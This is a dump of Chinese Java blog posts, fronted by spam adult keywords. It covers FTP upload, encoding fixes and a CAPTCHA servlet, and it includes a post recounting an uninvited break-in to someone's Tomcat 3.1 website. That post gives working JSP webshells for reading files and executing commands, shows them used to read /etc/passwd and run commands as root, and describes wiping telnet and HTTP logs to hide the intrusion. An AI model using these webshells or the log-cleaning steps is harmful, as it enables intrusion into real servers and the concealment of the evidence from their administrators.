亚洲AV永久无码精品一区二区国产,日木av无码专区亚洲av毛片,亚洲国产精品尤物yw在线 http://www.tkk7.com/xixidabao/category/15378.htmlGROW WITH JAVAzh-cnThu, 23 Aug 2007 20:32:55 GMTThu, 23 Aug 2007 20:32:55 GMT60java實現的ftp文件上傳例題 http://www.tkk7.com/xixidabao/archive/2007/08/15/136861.htmlJAVA之路JAVA之路Wed, 15 Aug 2007 04:03:00 GMThttp://www.tkk7.com/xixidabao/archive/2007/08/15/136861.html
 轉:http://www.128kj.com/article/article5/4C981624F129B81E393E4DFE72AC9096.htm?id=1820


前幾天寫過一編"關于java的http協議文件上傳實用例題"的文章;今天還想寫編關于java用ftp上傳文件的內容。我來說說2者的優缺點;
    1:用http協議上傳更適合web編程的方便;傳小于1M文件速度要比用ftp協議上傳文件略快。安全性好;不像ftp那樣;必須要啟動一個ftp服務才行。

    2:用ftp協議上傳文件大于1M的文件速度比http快;文件越大;上傳的速度就比http上傳快的倍數越大。而且用java編寫程序;ftp比http方便。好,廢話少說;我們先搭建一個實例來理性認識一下用java編寫ftp上傳文件的技術。

  首先在本機啟動一個ftp服務,ftp的用戶:"IUSR_ZJH" 密碼:"123";隨后在ftp主目錄下建一個名為upftp的子目錄;下面有4個文件就可啟動這個例題了。

文件1:MainCtrl.java(servlet文件)內容如下:

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.ServletException;

import java.io.FileInputStream;
import java.io.IOException;

import sun.net.TelnetOutputStream;
import sun.net.ftp.FtpClient;


public class MainCtrl extends HttpServlet {
 
   private FtpClient ftpClient;
  
 public void doPost(HttpServletRequest req, HttpServletResponse resp)
 throws ServletException, IOException {

   resp.setContentType("text/html; charset=UTF-8");

   try {
    //連接ftp服務器
    connectServer("127.0.0.1", "IUSR_ZJH", "123", "upftp");
  //上傳文件;并返回上傳文件的信息
    req.setAttribute("inf", upload(req.getParameter("file_name")));
   } catch (Exception e) {
  System.out.println(e.toString());
  req.setAttribute("inf", e.toString());
  req.getRequestDispatcher("view_inf.jsp").forward(req, resp);
  return;
   } finally {
    if (ftpClient != null) {
     ftpClient.closeServer();    
    }
      }
   req.getRequestDispatcher("view_inf.jsp").forward(req, resp);
  }
 
  public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
   doPost(req, resp);
  }
//連接ftp服務器
 private void connectServer(String server, String user, String password,
   String path) throws IOException {
  // server:FTP服務器的IP地址;user:登錄FTP服務器的用戶名
  // password:登錄FTP服務器的用戶名的口令;path:FTP服務器上的路徑
  ftpClient = new FtpClient();
  ftpClient.openServer(server);
  ftpClient.login(user, password);
  //path是ftp服務下主目錄的子目錄
  if (path.length() != 0)
   ftpClient.cd(path);
  //用2進制上傳
  ftpClient.binary();
 }

 //上傳文件;并返回上傳文件的信息
 private String upload(String filename) throws Exception {
  TelnetOutputStream os = null;
  FileInputStream is = null;
  try {
   //"upftpfile"用ftp上傳后的新文件名
   os = ftpClient.put("upftpfile");
   java.io.File file_in = new java.io.File(filename);
   if (file_in.length()==0) {
    return "上傳文件為空!";
   }
   is = new FileInputStream(file_in);
   byte[] bytes = new byte[1024];
   int c;
   while ((c = is.read(bytes)) != -1) {
    os.write(bytes, 0, c);
   }
  } finally {
   if (is != null) {
    is.close();
   }
   if (os != null) {
    os.close();
   }
  }
  return "上傳文件成功!";
 }

}

文件2:upftp.htm(前臺操作頁面)內容如下:

 

文件3:view_inf.jsp(信息提示頁面)和upftp.htm一樣放在context的根目錄下,

內容如下:

<%@page contentType="text/html;charset=UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<style type="text/css">
th
{
background-color: #4455aa;
color: white;
font-size: 14px;
font-weight:bold;
}
td.TableBody1
{
background-color: #FFFFF0;
color: white;
font-size: 14px;
font-weight:bold;
font-color: red;
}
.tableBorder1
{
width:97%;
border: 1px;
background-color: #6595D6;
}
</style>
</head>
<body>
<%String inf = (String) request.getAttribute("inf");
   if (inf == null) {
    inf = request.getParameter("inf");
   }%>
<table class="tableborder1" style="width: 75%;" align="center"
 cellpadding="3" cellspacing="1">
 <tbody>
  <tr align="center">
   <th colspan="2" height="25" width="100%">信 息 提 示:</th>
  </tr>
  <tr align="center">
   <td class="tablebody1" colspan="2" width="100%" height="200"><%=inf%></td>
  </tr>
  <tr align="center">
   <td><input name="back" value="返 回" onclick="history.back();"
    type="button" /></td>
  </tr>
 </tbody>
</table>
</body></html>

文件4:web.xml(j2ee的備置文件)放在WEB-INF目錄下,

內容如下:
<?xml version="1.0" encoding="ISO-8859-1"?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
 version="2.4">
 <!--Servlet name-->
 <servlet>
  <servlet-name>MainCtrl</servlet-name>
  <servlet-class>MainCtrl</servlet-class>
 </servlet>
 <!--Servlet mapping-->
 <servlet-mapping>
  <servlet-name>MainCtrl</servlet-name>
  <url-pattern>/MainCtrl</url-pattern>
 </servlet-mapping>
</web-app>

 



JAVA之路 2007-08-15 12:03 發表評論
]]>
有關亂碼的處理http://www.tkk7.com/xixidabao/archive/2007/08/14/136660.htmlJAVA之路JAVA之路Tue, 14 Aug 2007 06:08:00 GMThttp://www.tkk7.com/xixidabao/archive/2007/08/14/136660.html
  為什么說亂碼是中國程序員無法避免的話題呢?這個首先要從編碼機制上說起,大家都是中文和英文的編碼格式不是一樣,解碼也是不一樣的!如果中國的程序員不會遇到亂碼,那么只有使用漢語編程。漢語編程是怎么回事我也不大清楚,應該是前年吧,我一朋友給我介紹漢語編程,怎么不錯不錯?當時因為學習忙沒去關注這個,等我閑了,那個朋友不弄這個,問他他也不說不大清楚,最后自己對這個學習也不了了之了。

今天我寫這個不是講解中英文之間的差距,解碼等,我是將我在這幾年工作遇到各種各樣的亂碼的解決方法,總結一樣,也希望大家能把自己暈倒解決亂碼的方法都說出來,咱們弄一個解決亂碼的“葵花寶典”。

  對于Java由于默認的編碼方式是 UNICODE,所以用中文也易出問題,常見的解決是
String s2 = new String(s1.getBytes(“ISO-8859-1”),”GBK”);

  1、utf8解決JSP中文亂碼問題

  一般說來在每個頁面的開始處,加入:

<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>

<%
request.setCharacterEncoding("UTF-8");
%>

  charset=UTF-8 的作用是指定JSP向客戶端輸出的編碼方式為“UTF-8”

  pageEncoding="UTF-8" 為了讓JSP引擎能正確地解碼含有中文字符的JSP頁面,這在LINUX中很有效

  request.setCharacterEncoding("UTF-8"); 是對請求進行了中文編碼

  有時,這樣仍不能解決問題,還需要這樣處理一下:

String msg = request.getParameter("message");
String str=new String(msg.getBytes("ISO-8859-1"),"UTF-8");
out.println(st);

  2、Tomcat 5.5 中文亂碼

  只要把%TOMCAT安裝目錄%/ webapps\servlets-examples\WEB-INF\classes\filters\SetCharacterEncodingFilter.class文件拷到你的webapp目錄/filters下,如果沒有filters目錄,就創建一個。

  2)在你的web.xml里加入如下幾行:

<filter>
<filter-name>Set Character Encoding</filter-name>
<filter-class>filters.SetCharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>GBK</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>Set Character Encoding</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

  3)完成.

  2 get方式的解決辦法

  1) 打開tomcat的server.xml文件,找到區塊,加入如下一行:

URIEncoding=”GBK”

  完整的應如下:
 
<Connector
port="80" maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
enableLookups="false" redirectPort="8443" acceptCount="100"
debug="0" connectionTimeout="20000"
disableUploadTimeout="true"
URIEncoding="GBK"
/>

 2)重啟tomcat,一切OK。

  3、xmlHttpRequest中文問題

  頁面jsp用的GBK編碼

<%@ page contentType="text/html; charset=GBK"%>

  javascript部分

function addFracasReport() {
var url="controler?actionId=0_06_03_01&actionFlag=0010";
var urlmsg="&reportId="+fracasReport1.textReportId.value; //故障報告表編號

var xmlHttp=Common.createXMLHttpRequest();
xmlHttp.onreadystatechange = Common.getReadyStateHandler(xmlHttp, eval("turnAnalyPage"));
xmlHttp.open("POST",url,true);
xmlHttp.setRequestHeader( " Content-Type " , " application/x-www-form-urlencoded);
xmlHttp.send(urlmsg);

}

  后臺java中獲得的reportId是亂碼,不知道該怎么轉,主要是不知道xmlHttp.send(urlmsg); 以后是什么編碼?在后面用java來轉,試了幾種,都沒有成功,其中有:

public static String UTF_8ToGBK(String str) {
try {
return new String(str.getBytes("UTF-8"), "GBK");
} catch (Exception ex) {
return null;
}
}

public static String UTF8ToGBK(String str) {
try {
return new String(str.getBytes("UTF-16BE"), "GBK");
} catch (Exception ex) {
return null;
}
}

public static String GBK(String str) {
try {
return new String(str.getBytes("GBK"),"GBK");
} catch (Exception ex) {
return null;
}
}
public static String getStr(String str) {
try {
String temp_p = str;
String temp = new String(temp_p.getBytes("ISO8859_1"), "GBK");
temp = sqlStrchop(temp);
return temp;
} catch (Exception e) {
return null;
}
}

  4、JDBC ODBC Bridge的Bug及其解決方法

  在編寫一數據庫管理程序時,發現JDBC-ODBC Bridge存在不易發現的Bug。在向數據表插入數據時,如果為英文字符,存儲內容完全正確,如果存入中文字符,部分數據庫只能存儲前七八個中文字符,其他內容被截去,導致存儲內容的不完整(有些數據庫不存在這個問題,如Sybase SQL Anywhere 5.0。JDBC-ODBC Bridge還存在無法建表的Bug)。

  對于廣大需要存儲中文信息的Java程序員來說,這可是一個不好的消息。要么改用其他語言編程,要么選擇其他價格昂貴的數據庫產品。“一次編寫,到處運行”的目標,也大打折扣。能不能采用變通的方法,將中文信息進行處理后再存儲來解決這個問題呢?答案是肯定的。

  解決問題的具體思路、方法

  Java采用Unicode碼編碼方式,中英文字符均采用16bit存儲。既然存儲英文信息是正確的,根據一定規則,將中文信息轉換成英文信息后存儲,自然不會出現截尾現象。讀取信息時再進行逆向操作,將英文信息還原成中文信息即可。由GB2312編碼規則可知,漢字一般為二個高位為1的ASCII碼,在轉換時將一個漢字的二個高位1去掉,還原時再將二個高位1加上。為了處理含有英文字符的中文字串,對英文字符則需要加上一個Byte 0標記。以下提供的兩個公用靜態方法,可加入任何一個類中使用。

  將中英文字串轉換成純英文字串

  public static String toTureAsciiStr(String str){

  StringBuffer sb = new StringBuffer();

  byte[] bt = str.getBytes();

  for(int i =0 ; i〈bt.length; i++){

  if(bt[i]〈0){

  //是漢字去高位1

  sb.append((char)(bt[i]&&0x7f));

   }else{//是英文字符 補0作記錄

  sb.append((char)0);

  sb.append((char)bt[i]);

   }

   }

  return sb.toString();

  }

  將經轉換的字串還原

  public static String unToTrueAsciiStr(String str){

   byte[] bt = str.getBytes();

   int i,l=0,length = bt.length,j=0;

   for(i = 0; i〈length; i++){

   if(bt[i] == 0){

   l++;

   }

   }

   byte []bt2 = new byte[length-l];

   for(i =0 ; i〈length; i++){

   if(bt[i] == 0){

   i++;

   bt2[j] = bt[i];

   }else{

   bt2[j] = (byte)(bt[i]|0x80);

   }

   j++;

   }

  String tt = new String(bt2);

  return tt;

  }

  上例在實際編程中效果很好,只是存儲的中文信息需要經過同樣處理,才能被其他系統使用。而且如果中文字串出現英文字符,實際上增加了額外的存儲空間。

  5、Solaris下Servlet編程的中文問題及解決辦法

  在使用Java開發Internet上的一個應用系統時,發現在Windows下調試完全正常的Servlet,上傳到Solaris 服務器上,運行卻出現故障——返回的網頁不能顯示中文,應為中文的信息全為亂碼;用中文信息做關鍵字,不能正確檢索數據庫。后來采用加入檢查代碼等方法探知故障原因如下:

  顯示亂碼主要是因為通過類 HttpServletResponse提供的方法setContentType 無法改變返回給客戶的數據的編碼方式,正確的編碼方式應為GB2312或者GBK,而事實上為缺省的ISO8859-1。無法檢索中文信息則是因為,客戶提交的中文信息經瀏覽器編碼到達服務器后,Servlet無法將其正確解碼。

  舉例說明顯示亂碼解決方法

  Servlet 一般通常做法如下:

  public class ZldTestServlet extends HttpServlet {

  public void doGet (HttpServletRequest request,HttpServletResponse response)throws ServletException, IOException{

  //在使用 Writer向瀏覽器返回數據前,設置 content-type header ,在這里設置相應的字符集gb2312

  response.setContentType("text/html; charset=gb2312");

  PrintWriter out = response.getWriter(); //*

  // 正式返回數據

  out.println("〈html〉〈head〉〈title〉Servlet test〈/title〉〈/head〉" );

  out.println("這是一個測試頁!");

  out.println("〈/body〉〈/html〉");

  out.close();

  }

   ...

  }

  解決頁面顯示亂碼問題,需將*處代碼換成如下內容:

  PrintWriter out = new PrintWriter(new OutputStreamWriter(response.getOutputStream(),"gb2312"));

  Solaris中文信息檢索問題的解決
  瀏覽器利用表單向服務器提交信息時,一般采用x-www-form-urlencoded 的MIME格式對數據進行編碼。如果使用get方法,參數名稱和參數值經編碼后附加在URL后,在Java中稱作查詢串(query string)。

  在Servlet程序中,如果采用ServletRequest的方法getParameter取得參數值,在Solaris環境下,對漢字卻不能正確解碼。因而無法正確檢索數據庫。

  在Java 1.2的包——java.net中提供了URLEncode和URLDecode類。類URLEncode提供了按x-www-form-urlencoded格式對給定串進行轉換的方法。類URLEncode則提供了逆方法。

  6、Common Mail亂碼問題

  common mail是一個小而方便的mail包,他實現了對Java Mail的封裝,使用起來十分的方便,但是我在使用他的時候發現,使用純文本的內容發送,結果是亂碼,代碼如下:

public class TestCommonMail {
public static void main(String[] args) throws EmailException, MessagingException {
SimpleEmail email = new SimpleEmail();
email.setCharset("GB2312");
email.setHostName("smtp.163.com");
email.setSubject("test");
email.addTo("test@163.com");
email.setFrom("test@163.com");
email.setMsg("我的測試");
email.setAuthentication("test", "test");
email.send();
}
}

分析了一下commons mail的源碼找到了原因。源碼如下:

public class SimpleEmail extends Email
{
public Email setMsg(String msg) throws EmailException, MessagingException
{
if (EmailUtils.isEmpty(msg))
{
throw new EmailException("Invalid message supplied");
}

setContent(msg, TEXT_PLAIN);
return this;
}
}

Email代碼片段

public void setContent(Object aObject, String aContentType)
{
this.content = aObject;
if (EmailUtils.isEmpty(aContentType))
{
this.contentType = null;
}
else
{
// set the content type
this.contentType = aContentType;

// set the charset if the input was properly formed
String strMarker = "; charset=";
int charsetPos = aContentType.toLowerCase().indexOf(strMarker);
if (charsetPos != -1)
{
// find the next space (after the marker)
charsetPos += strMarker.length();
int intCharsetEnd =
aContentType.toLowerCase().indexOf(" ", charsetPos);

if (intCharsetEnd != -1)
{
this.charset =
aContentType.substring(charsetPos, intCharsetEnd);
}
else
{
this.charset = aContentType.substring(charsetPos);
}
}
}
}

email.send(); 的send方法將調用
public void buildMimeMessage() throws EmailException
{
try
{
this.getMailSession();
this.message = new MimeMessage(this.session);

if (EmailUtils.isNotEmpty(this.subject))
{
if (EmailUtils.isNotEmpty(this.charset))
{
this.message.setSubject(this.subject, this.charset);
}
else
{
this.message.setSubject(this.subject);
}
}

// ========================================================
// Start of replacement code
if (this.content != null)
{
this.message.setContent(this.content, this.contentType);
}
// end of replacement code
// ========================================================
else if (this.emailBody != null)
{
this.message.setContent(this.emailBody);
}
else
{
this.message.setContent("", Email.TEXT_PLAIN);
}

if (this.fromAddress != null)
{
this.message.setFrom(this.fromAddress);
}
else
{
throw new EmailException("Sender address required");
}

if (this.toList.size() + this.ccList.size() + this.bccList.size() == 0)
{
throw new EmailException(
"At least one receiver address required");
}

if (this.toList.size() > 0)
{
this.message.setRecipients(
Message.RecipientType.TO,
this.toInternetAddressArray(this.toList));
}

if (this.ccList.size() > 0)
{
this.message.setRecipients(
Message.RecipientType.CC,
this.toInternetAddressArray(this.ccList));
}

if (this.bccList.size() > 0)
{
this.message.setRecipients(
Message.RecipientType.BCC,
this.toInternetAddressArray(this.bccList));
}

if (this.replyList.size() > 0)
{
this.message.setReplyTo(
this.toInternetAddressArray(this.replyList));
}

if (this.headers.size() > 0)
{
Iterator iterHeaderKeys = this.headers.keySet().iterator();
while (iterHeaderKeys.hasNext())
{
String name = (String) iterHeaderKeys.next();
String value = (String) headers.get(name);
this.message.addHeader(name, value);
}
}

if (this.message.getSentDate() == null)
{
this.message.setSentDate(getSentDate());
}

if (this.popBeforeSmtp)
{
Store store = session.getStore("pop3");
store.connect(this.popHost, this.popUsername, this.popPassword);
}
}
catch (MessagingException me)
{
throw new EmailException(me);
}
}
由代碼可以知道純文本方式最終調用了Java Mail的
message.setContent(this.content, this.contentType);
content是內容
contentType是類型,如text/plain,
(我們可以試試直接用Java mail發郵件,設置文本內容不使用setText方法,也使用setContent("測試", "text/plain")方式,你可以看到內容也是亂碼)

  關鍵就在于text/plain,我們改成text/plain; charset=gb2312,ok亂碼解決了。在commons mail我們看SimpleEmail 類中setMsg方法調用的就是 setContent(msg, TEXT_PLAIN); 我們只需要將Email類中的常量TEXT_PLAIN修改一下加入 charset=你的字符集 ,重新打包jar,這樣就可以了

  7、toad的字符集的設置與oracle的安裝

  oracle數據庫服務器的安裝一般是中文字符集,有時安裝在不同的平臺下,設置為ISO編碼,toad是oracle開發的最好工具,不是我說的,可是中文環境下安裝的toad,打開英文字符的oracle時,中文全是亂碼。必須進行設置

環境變量---〉系統變量

NLS_lANG=SIMPLIFIED CHINESE_CHINA.ZHS16GBK

NLS_lANG=AMERICAN_AMERICA.WE8ISO8859P1

AMERICAN_AMERICA.WE8MSWIN1252

或者

打開注冊表,點擊HKEY_LOCAL_MATHINE
再點擊Software,再點擊ORACLE
在點擊HOME(ORACLE所在目錄)
在注冊表的右半面有NLS_LANG,
雙擊它,將你想要的覆蓋掉原來的就可以了
最好記下舊的,以便可以改回來。

connect sys/chang_on_install
update props$
set value$='ZHS16CGB231280'
where name='NLS_CHARACTERSET';
commit;
這樣就OK了

  8、如何解決GWT(google web toolkit)中文的問題

  GWT 中文亂碼解決方法

1.把你要顯示的中文“測試字符串”輸入到一個文件,如:1.txt
2.進入命令行,進入1.txt所在的目錄,敲入以下命令:native2ascii.exe 1.txt 2.txt 回車。這樣就生成了另外一個文件2.txt。
3.2.txt的內容如下:\u6d4b\u8bd5\u5b57\u7b26\u4e32
4.然后用上面的編碼,在gwt中使用,就可以了.

  9、xmlHttp得到的網頁怎么是亂碼?

  (1)在服務器端使用WebRequest而不是xmlHttp
  (2) 將

StreamReader sr = new StreamReader(stream);

  對于簡體中文改成:

StreamReader sr = new StreamReader(stream , Encoding.Default );

  對于utf-8改成:

StreamReader sr = new StreamReader(stream , Encoding.UTF8 );

  當然,Encoding枚舉還有很多其他的成員,對于不同的編碼content-type可以有選擇的應用

  (3)后來我發現無論是content-type是gb2312還是utf-8,用

StreamReader sr = new StreamReader(stream , Encoding.Default );

  都可以返回正常的漢字,所以統一的改成Encoding.Default




--------------------------------------------------------------------------------

最后,在服務器端從一個url獲得網頁的源代碼的代碼如下:



/// <summary>
/// post一個指定的url,獲得網頁的源代碼(用WebRequest實現)
/// </summary>
/// <param name="url"></param>
/// <returns>
/// 如果請求失敗,返回null
/// 如果請求成功,返回網頁的源代碼
/// </returns>
public static string GetContentFromUrl2( string url )
{
//變量定義
string respstr;

WebRequest myWebRequest=WebRequest.Create(url);
// myWebRequest.PreAuthenticate=true;
// NetworkCredential networkCredential=new NetworkCredential( username , password , domain );
// myWebRequest.Credentials=networkCredential;

// Assign the response object of 'WebRequest' to a 'WebResponse' variable.
WebResponse myWebResponse=myWebRequest.GetResponse();
System.IO.Stream stream = myWebResponse.GetResponseStream();
StreamReader sr = new StreamReader(stream , Encoding.Default );
//以字符串形式讀取數據流
respstr = sr.ReadToEnd();
sr.Close();

return respstr;

}

JAVA之路 2007-08-14 14:08 發表評論
]]>
Java實現隨機驗證碼功能實例http://www.tkk7.com/xixidabao/archive/2007/08/09/135382.htmlJAVA之路JAVA之路Wed, 08 Aug 2007 16:07:00 GMThttp://www.tkk7.com/xixidabao/archive/2007/08/09/135382.html                                                   Java實現隨機驗證碼功能實例
                                                                                  2007-08-08 來自:lizhe1985  


現在許多系統的注冊、登錄或者發布信息模塊都添加的隨機碼功能,就是為了避免自動注冊程序或者自動發布程序的使用。

驗證碼實際上就是隨機選擇一些字符以圖片的形式展現在頁面上,如果進行提交操作的同時需要將圖片上的字符同時提交,如果提交的字符與服務器session保存的不同,則認為提交信息無效。為了避免自動程序分析解析圖片,通常會在圖片上隨機生成一些干擾線或者將字符進行扭曲,增加自動識別的難度。

在這里,我們使用servlet來實現隨機驗證碼的實現。

package com.servlet;

import java.awt.Color;
import java.awt.Font;
import java.awt.Graphics2D;
import java.awt.image.BufferedImage;
import java.util.Random;

import javax.imageio.ImageIO;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

/**
* 生成隨機驗證碼
* @author bitiliu
*
*/
public class ValidateCodeServlet extends HttpServlet
{

private static final long serialVersionUID = 1L;

//驗證碼圖片的寬度。
private int width=60;
//驗證碼圖片的高度。
private int height=20;
//驗證碼字符個數
private int codeCount=4;


private int x=0;
//字體高度
private int fontHeight;
private int codeY;

char[] codeSequence = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' };

/**
* 初始化驗證圖片屬性
*/
public void init() throws ServletException
{
//從web.xml中獲取初始信息
//寬度
String strWidth=this.getInitParameter("width");
//高度
String strHeight=this.getInitParameter("height");
//字符個數
String strCodeCount=this.getInitParameter("codeCount");

//將配置的信息轉換成數值
try
{
if(strWidth!=null && strWidth.length()!=0)
{
width=Integer.parseInt(strWidth);
}
if(strHeight!=null && strHeight.length()!=0)
{
height=Integer.parseInt(strHeight);
}
if(strCodeCount!=null && strCodeCount.length()!=0)
{
codeCount=Integer.parseInt(strCodeCount);
}
}
catch(NumberFormatException e)
{}

x=width/(codeCount+1);
fontHeight=height-2;
codeY=height-4;

}

protected void service(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, java.io.IOException {

//定義圖像buffer
BufferedImage buffImg = new BufferedImage(
width, height,BufferedImage.TYPE_INT_RGB);
Graphics2D g = buffImg.createGraphics();

//創建一個隨機數生成器類
Random random = new Random();

//將圖像填充為白色
g.setColor(Color.WHITE);
g.fillRect(0, 0, width, height);

//創建字體,字體的大小應該根據圖片的高度來定。
Font font = new Font("Fixedsys", Font.PLAIN, fontHeight);
//設置字體。
g.setFont(font);

//畫邊框。
g.setColor(Color.BLACK);
g.drawRect(0, 0, width - 1, height - 1);

//隨機產生160條干擾線,使圖象中的認證碼不易被其它程序探測到。
g.setColor(Color.BLACK);
for(int i = 0; i < 160; i++)
{
int x = random.nextInt(width);
int y = random.nextInt(height);
int xl = random.nextInt(12);
int yl = random.nextInt(12);
g.drawLine(x, y, x + xl, y + yl);
}

//randomCode用于保存隨機產生的驗證碼,以便用戶登錄后進行驗證。
StringBuffer randomCode = new StringBuffer();
int red = 0, green = 0, blue = 0;

//隨機產生codeCount數字的驗證碼。
for (int i = 0; i < codeCount; i++) {
//得到隨機產生的驗證碼數字。
String strRand = String.valueOf(codeSequence[random.nextInt(36)]);
//產生隨機的顏色分量來構造顏色值,這樣輸出的每位數字的顏色值都將不同。
red = random.nextInt(255);
green = random.nextInt(255);
blue = random.nextInt(255);

//用隨機產生的顏色將驗證碼繪制到圖像中。
g.setColor(new Color(red, green, blue));
g.drawString(strRand, (i + 1) * x, codeY);

//將產生的四個隨機數組合在一起。
randomCode.append(strRand);
}
// 將四位數字的驗證碼保存到Session中。
HttpSession session = req.getSession();
session.setAttribute("validateCode", randomCode.toString());

// 禁止圖像緩存。
resp.setHeader("Pragma", "no-cache");
resp.setHeader("Cache-Control", "no-cache");
resp.setDateHeader("Expires", 0);

resp.setContentType("image/jpeg");

//將圖像輸出到Servlet輸出流中。
ServletOutputStream sos = resp.getOutputStream();
ImageIO.write(buffImg, "jpeg", sos);
sos.close();
}

}

需要在web.xml中聲明servlet

<servlet>
<servlet-name>ValidateCodeServlet</servlet-name>
<servlet-class>com.servlet.ValidateCodeServlet</servlet-class>
<init-param>
<param-name>width</param-name>
<param-value>200</param-value>
</init-param>
<init-param>
<param-name>height</param-name>
<param-value>80</param-value>
</init-param>
<init-param>
<param-name>codeCount</param-name>
<param-value>5</param-value>
</init-param>
</servlet>

<servlet-mapping>
<servlet-name>ValidateCodeServlet</servlet-name>
<url-pattern>/validateCodeServlet</url-pattern>
</servlet-mapping>

用戶提交后就可以將用戶輸入的驗證碼與session中保存的字符串進行比對,達到驗證的效果

JAVA之路 2007-08-09 00:07 發表評論
]]>
入侵基于JSP+Tomcat的Web網站實錄http://www.tkk7.com/xixidabao/archive/2006/09/11/69032.htmlJAVA之路JAVA之路Mon, 11 Sep 2006 12:58:00 GMThttp://www.tkk7.com/xixidabao/archive/2006/09/11/69032.html 入侵基于JSP+Tomcat的Web網站實錄
 

很偶然的一個機會,瀏覽到一個網站,頁面清新讓人感覺很舒服。網站是用JSP開發的,出于個人愛好,我決定測試一下其系統的安全性。

telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]

返回的結果如下:

HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL

獲得了運行的WEBServer的名稱“Tomcat 3.1”。記得曾經發現過這個版本的漏洞,并且post到bugtrap上去過。

回憶一下,大概是通過“..”技術可以退出WEB目錄,于是:

http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)

看來安全狀況似乎還不錯,我們再來進行一下更深層的測試。Tomcat 3.1自帶了一個管理工具,可以查看WEB下的目錄及文件,并且可以添加context。于是嘗試:

http://target:8080/admin/

管理員果然沒有刪除或禁止訪問這個目錄,從安全的角度說,這點應該算是一個比較重要的失誤。

接著,點擊“VIEW ALL CONTEXT”按鈕,列出了WEB目錄下的一些文件和目錄的名稱,很快發現了一個上傳文件的組件,通過這個組件將一個JSP文件上傳到對方的WEB目錄里:

<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>

然后執行:

http://target:8080/upload/test.jsp?file=/etc/passwd

密碼出來了。接下來的過程是猜測密碼,沒有成功。不過,現在相當于有了一個SHELL,猜不出密碼可以先把IE當作SHELL環境。

再寫一個JSP文件:

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

然后把這個JSP再通過upload上傳,有SHELL了。

http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(詳細結果這里就不列出來了)

怎么獲得root權限呢?經過一番搜索發現系統安裝了MySQL,并且從JSP的源代碼中得到了MySQL的密碼,執行:

sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld

顯示:

root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql

系統是以root身份運行的MySQL。這時我思考了一下,既然知道了MySQL的密碼,那就可以寫一個SHELL程序,讓它創建一個表,然后將我的數據放到表中,再使用“select ... into outfile;”的辦法在系統上創建一個文件,讓用戶在執行su的時候,運行我的程序。(還記得apache.org有一次被入侵嗎?黑客就采用的這種辦法)。

之后就比較簡單了,上傳bindshell之類的程序,運行、獲得nobody的權限,使用su root時幫忙創建的setuid shell讓自己成為root。

但是,接下來已經實際操作,結果令人頗感意外:

http://target:8080/upload/cmd.jsp?cmd=id

顯示:

uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)

原來這個WEB SHELL本來就是ROOT!管理員的安全設置工作到底怎么做的?

http://target:8080/upload/cmd.jsp?cmd=ps+aux

果然是root身份運行的(不列出來了)

剩下的事情:

1、刪除我的telnet記錄。

2、刪除http的日志。

清除日志我使用的辦法是:cat xxx |grep -V "IP" >>temp然后在把temp覆蓋那些被我修改過的日志文件。

說明一點,我沒有更換該網站的頁面,因為我只是個網絡安全愛好者。所以,發封郵件告訴system admin吧!當然,我順便在信中提到,如果需要安盟信息科技為他提供安全服務的話,我們會非常的高興!



JAVA之路 2006-09-11 20:58 發表評論
]]>
